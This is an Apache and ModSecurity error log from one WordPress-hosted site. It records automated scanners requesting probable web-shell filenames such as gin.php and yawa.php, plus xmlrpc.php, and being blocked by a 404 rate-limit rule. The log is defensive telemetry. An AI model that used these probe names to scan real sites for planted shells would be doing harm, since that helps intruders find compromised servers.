[Wed Mar 25 17:55:10.136193 2026] [:error] [pid 26321:tid 26340] [client 20.220.197.73:62800] [client 20.220.197.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acOw_vKO65qqGZCSPZouiwAAAgE"]
[Wed Mar 25 17:55:11.055845 2026] [:error] [pid 25969:tid 26045] [client 20.220.197.73:62824] [client 20.220.197.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acOw_xd3aEUmOfdKja_-iAAAA9M"]
[Wed Mar 25 17:55:30.230595 2026] [proxy_fcgi:error] [pid 25875:tid 25903] [client 51.103.36.25:41389] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:30.478173 2026] [proxy_fcgi:error] [pid 25875:tid 25894] [client 51.103.36.25:41389] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:31.197912 2026] [proxy_fcgi:error] [pid 25875:tid 25891] [client 51.103.36.25:41389] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:31.438185 2026] [proxy_fcgi:error] [pid 25875:tid 25888] [client 51.103.36.25:41389] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:31.677595 2026] [proxy_fcgi:error] [pid 25875:tid 25902] [client 51.103.36.25:41389] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:31.916494 2026] [proxy_fcgi:error] [pid 25875:tid 25889] [client 51.103.36.25:41389] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:32.155695 2026] [proxy_fcgi:error] [pid 25875:tid 25890] [client 51.103.36.25:41389] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:32.396932 2026] [proxy_fcgi:error] [pid 25875:tid 25904] [client 51.103.36.25:41389] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 17:55:32.631918 2026] [:error] [pid 25875:tid 25884] [client 51.103.36.25:41389] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/AAAA.php"] [unique_id "acOxFBJ38QkS3NyfshzXkAAAAoM"]
[Wed Mar 25 17:55:33.143932 2026] [:error] [pid 25875:tid 25887] [client 51.103.36.25:41687] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/AAAA.php"] [unique_id "acOxFRJ38QkS3NyfshzXkgAAAoY"]
[Wed Mar 25 17:55:33.651463 2026] [:error] [pid 892:tid 909] [client 51.103.36.25:1688] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/AAAA.php"] [unique_id "acOxFST_G8WMU3T3yxrEaAAAAMs"]
[Wed Mar 25 17:55:34.259303 2026] [:error] [pid 47946:tid 47969] [client 51.103.36.25:39214] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/AAAA.php"] [unique_id "acOxFjipQTqBMSeKYhd9WgAAARU"]
[Wed Mar 25 17:55:34.826218 2026] [:error] [pid 26321:tid 26352] [client 51.103.36.25:45558] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fde.php"] [unique_id "acOxFvKO65qqGZCSPZoumwAAAgs"]
[Wed Mar 25 17:55:35.313991 2026] [:error] [pid 756:tid 851] [client 51.103.36.25:1875] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fde.php"] [unique_id "acOxFzOaW6oylMIDBCQYbgAAAIE"]
[Wed Mar 25 17:55:35.830360 2026] [:error] [pid 47989:tid 47993] [client 51.103.36.25:45979] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fde.php"] [unique_id "acOxFyWKdJMhIccROjmcBQAAAUI"]
[Wed Mar 25 17:55:36.308391 2026] [:error] [pid 47989:tid 48006] [client 51.103.36.25:41681] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fde.php"] [unique_id "acOxGCWKdJMhIccROjmcBgAAAU8"]
[Wed Mar 25 17:55:36.833456 2026] [:error] [pid 25967:tid 25979] [client 51.103.36.25:45957] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjde.php"] [unique_id "acOxGPg8Qtq7ZM4mSFkrWwAAA0c"]
[Wed Mar 25 17:55:37.320293 2026] [:error] [pid 25969:tid 26037] [client 51.103.36.25:33946] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjde.php"] [unique_id "acOxGRd3aEUmOfdKja_-mAAAA8s"]
[Wed Mar 25 17:55:37.804175 2026] [:error] [pid 47989:tid 48009] [client 51.103.36.25:19025] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjde.php"] [unique_id "acOxGSWKdJMhIccROjmcCQAAAVI"]
[Wed Mar 25 17:55:38.348490 2026] [:error] [pid 47946:tid 47971] [client 51.103.36.25:1711] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjde.php"] [unique_id "acOxGjipQTqBMSeKYhd9XAAAARc"]
[Wed Mar 25 17:55:38.832574 2026] [:error] [pid 47989:tid 47993] [client 51.103.36.25:33937] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gin.php"] [unique_id "acOxGiWKdJMhIccROjmcDQAAAUI"]
[Wed Mar 25 17:55:39.313837 2026] [:error] [pid 26321:tid 26363] [client 51.103.36.25:45992] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gin.php"] [unique_id "acOxG_KO65qqGZCSPZounQAAAhY"]
[Wed Mar 25 17:55:39.784317 2026] [:error] [pid 47989:tid 48008] [client 51.103.36.25:50274] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gin.php"] [unique_id "acOxGyWKdJMhIccROjmcFAAAAVE"]
[Wed Mar 25 17:55:40.254861 2026] [:error] [pid 892:tid 896] [client 51.103.36.25:41670] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gin.php"] [unique_id "acOxHCT_G8WMU3T3yxrEbAAAAMI"]
[Wed Mar 25 17:55:40.760112 2026] [:error] [pid 25967:tid 25973] [client 51.103.36.25:19033] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta.php"] [unique_id "acOxHPg8Qtq7ZM4mSFkrXgAAA0E"]
[Wed Mar 25 17:55:41.259444 2026] [:error] [pid 25967:tid 25980] [client 51.103.36.25:43593] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta.php"] [unique_id "acOxHfg8Qtq7ZM4mSFkrYAAAA0g"]
[Wed Mar 25 17:55:41.791480 2026] [:error] [pid 47989:tid 48007] [client 51.103.36.25:33941] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yawa.php"] [unique_id "acOxHSWKdJMhIccROjmcGQAAAVA"]
[Wed Mar 25 17:55:42.362869 2026] [:error] [pid 47989:tid 48013] [client 51.103.36.25:42143] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yawa.php"] [unique_id "acOxHiWKdJMhIccROjmcHQAAAVY"]
[Wed Mar 25 17:55:42.852837 2026] [:error] [pid 47989:tid 47996] [client 51.103.36.25:1707] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yawa.php"] [unique_id "acOxHiWKdJMhIccROjmcIgAAAUU"]
[Wed Mar 25 17:55:43.340436 2026] [:error] [pid 47989:tid 47999] [client 51.103.36.25:42152] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yawa.php"] [unique_id "acOxHyWKdJMhIccROjmcKwAAAUg"]
[Wed Mar 25 17:55:43.947491 2026] [:error] [pid 25875:tid 25894] [client 51.103.36.25:43596] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dk.php"] [unique_id "acOxHxJ38QkS3NyfshzXlwAAAo0"]
[Wed Mar 25 17:55:44.428934 2026] [:error] [pid 47946:tid 47972] [client 51.103.36.25:44794] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dk.php"] [unique_id "acOxIDipQTqBMSeKYhd9XgAAARg"]
[Wed Mar 25 17:55:44.938887 2026] [:error] [pid 47989:tid 47992] [client 51.103.36.25:51748] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dk.php"] [unique_id "acOxICWKdJMhIccROjmcSAAAAUE"]
[Wed Mar 25 17:55:45.488662 2026] [:error] [pid 47989:tid 47994] [client 51.103.36.25:40306] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dk.php"] [unique_id "acOxISWKdJMhIccROjmcVAAAAUM"]
[Wed Mar 25 17:55:45.963082 2026] [:error] [pid 47989:tid 48003] [client 51.103.36.25:43621] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "acOxISWKdJMhIccROjmcYwAAAUw"]
[Wed Mar 25 20:04:04.515905 2026] [:error] [pid 25875:tid 25898] [client 27.121.100.201:43106] [client 27.121.100.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.121.100.201, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acPPNBJ38QkS3NyfshwDdAAAApE"]
[Wed Mar 25 20:04:04.528118 2026] [proxy_fcgi:error] [pid 25875:tid 25898] [client 27.121.100.201:43106] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:05:35.974128 2026] [:error] [pid 892:tid 907] [client 103.126.119.252:49280] [client 103.126.119.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.126.119.252, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acPPjyT_G8WMU3T3yxrVPAAAAMk"]
[Wed Mar 25 20:05:35.985048 2026] [proxy_fcgi:error] [pid 892:tid 907] [client 103.126.119.252:49280] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:18.071843 2026] [proxy_fcgi:error] [pid 47989:tid 47996] [client 74.248.130.23:52229] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:18.333430 2026] [proxy_fcgi:error] [pid 47989:tid 48005] [client 74.248.130.23:52229] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:19.109764 2026] [proxy_fcgi:error] [pid 47989:tid 48011] [client 74.248.130.23:52229] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:19.370488 2026] [proxy_fcgi:error] [pid 47989:tid 48002] [client 74.248.130.23:52229] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:19.629083 2026] [proxy_fcgi:error] [pid 47989:tid 47992] [client 74.248.130.23:52229] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:19.890166 2026] [proxy_fcgi:error] [pid 47989:tid 47993] [client 74.248.130.23:52229] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:20.148079 2026] [proxy_fcgi:error] [pid 47989:tid 48007] [client 74.248.130.23:52229] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:20.406668 2026] [proxy_fcgi:error] [pid 47989:tid 47995] [client 74.248.130.23:52229] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 20:52:20.661131 2026] [:error] [pid 47989:tid 48000] [client 74.248.130.23:52229] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/AAAA.php"] [unique_id "acPahCWKdJMhIccROjn1VQAAAUk"]
[Wed Mar 25 20:52:21.176808 2026] [:error] [pid 25967:tid 25984] [client 74.248.130.23:8367] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/AAAA.php"] [unique_id "acPahfg8Qtq7ZM4mSFlqvgAAA0w"]
[Wed Mar 25 20:52:21.688656 2026] [:error] [pid 25875:tid 25884] [client 74.248.130.23:14558] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/AAAA.php"] [unique_id "acPahRJ38QkS3NyfshwZHwAAAoM"]
[Wed Mar 25 20:52:22.215094 2026] [:error] [pid 892:tid 899] [client 74.248.130.23:26105] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/AAAA.php"] [unique_id "acPahiT_G8WMU3T3yxra4gAAAMM"]
[Wed Mar 25 20:52:22.726480 2026] [:error] [pid 26269:tid 26289] [client 74.248.130.23:26097] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjde.php"] [unique_id "acPahkn7e-ZQbaIs7qzAJgAAAY0"]
[Wed Mar 25 20:52:23.245484 2026] [:error] [pid 26269:tid 26290] [client 74.248.130.23:8342] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjde.php"] [unique_id "acPah0n7e-ZQbaIs7qzAJwAAAY4"]
[Wed Mar 25 20:52:23.763772 2026] [:error] [pid 47989:tid 48006] [client 74.248.130.23:23977] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjde.php"] [unique_id "acPahyWKdJMhIccROjn1WgAAAU8"]
[Wed Mar 25 20:52:24.281817 2026] [:error] [pid 26269:tid 26280] [client 74.248.130.23:21634] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjde.php"] [unique_id "acPaiEn7e-ZQbaIs7qzAKAAAAYQ"]
[Wed Mar 25 20:52:24.827915 2026] [:error] [pid 26321:tid 26344] [client 74.248.130.23:17594] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gin.php"] [unique_id "acPaiPKO65qqGZCSPZpWuAAAAgU"]
[Wed Mar 25 20:52:25.346965 2026] [:error] [pid 25875:tid 25898] [client 74.248.130.23:26246] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gin.php"] [unique_id "acPaiRJ38QkS3NyfshwZJQAAApE"]
[Wed Mar 25 20:52:25.868749 2026] [:error] [pid 892:tid 912] [client 74.248.130.23:16835] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gin.php"] [unique_id "acPaiST_G8WMU3T3yxra6AAAAM4"]
[Wed Mar 25 20:52:26.383442 2026] [:error] [pid 25875:tid 25892] [client 74.248.130.23:21670] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gin.php"] [unique_id "acPaihJ38QkS3NyfshwZLgAAAos"]
[Wed Mar 25 20:52:26.897589 2026] [:error] [pid 25875:tid 25883] [client 74.248.130.23:7649] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta.php"] [unique_id "acPaihJ38QkS3NyfshwZMgAAAoI"]
[Wed Mar 25 20:52:27.414503 2026] [:error] [pid 25967:tid 25972] [client 74.248.130.23:14548] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta.php"] [unique_id "acPai_g8Qtq7ZM4mSFlqxAAAA0A"]
[Wed Mar 25 20:52:27.923295 2026] [:error] [pid 47989:tid 48015] [client 74.248.130.23:18612] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta.php"] [unique_id "acPaiyWKdJMhIccROjn1XwAAAVg"]
[Wed Mar 25 20:52:28.436462 2026] [:error] [pid 47946:tid 47963] [client 74.248.130.23:26268] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta.php"] [unique_id "acPajDipQTqBMSeKYheIUgAAAQ8"]
[Wed Mar 25 20:52:28.948899 2026] [:error] [pid 892:tid 896] [client 74.248.130.23:7637] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yawa.php"] [unique_id "acPajCT_G8WMU3T3yxra6gAAAMI"]
[Wed Mar 25 20:52:29.457637 2026] [:error] [pid 25875:tid 25896] [client 74.248.130.23:7675] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yawa.php"] [unique_id "acPajRJ38QkS3NyfshwZNgAAAo8"]
[Wed Mar 25 20:52:29.969593 2026] [:error] [pid 25875:tid 25885] [client 74.248.130.23:17546] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yawa.php"] [unique_id "acPajRJ38QkS3NyfshwZOQAAAoQ"]
[Wed Mar 25 20:52:30.495590 2026] [:error] [pid 26269:tid 26287] [client 74.248.130.23:9836] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yawa.php"] [unique_id "acPajkn7e-ZQbaIs7qzAKwAAAYs"]
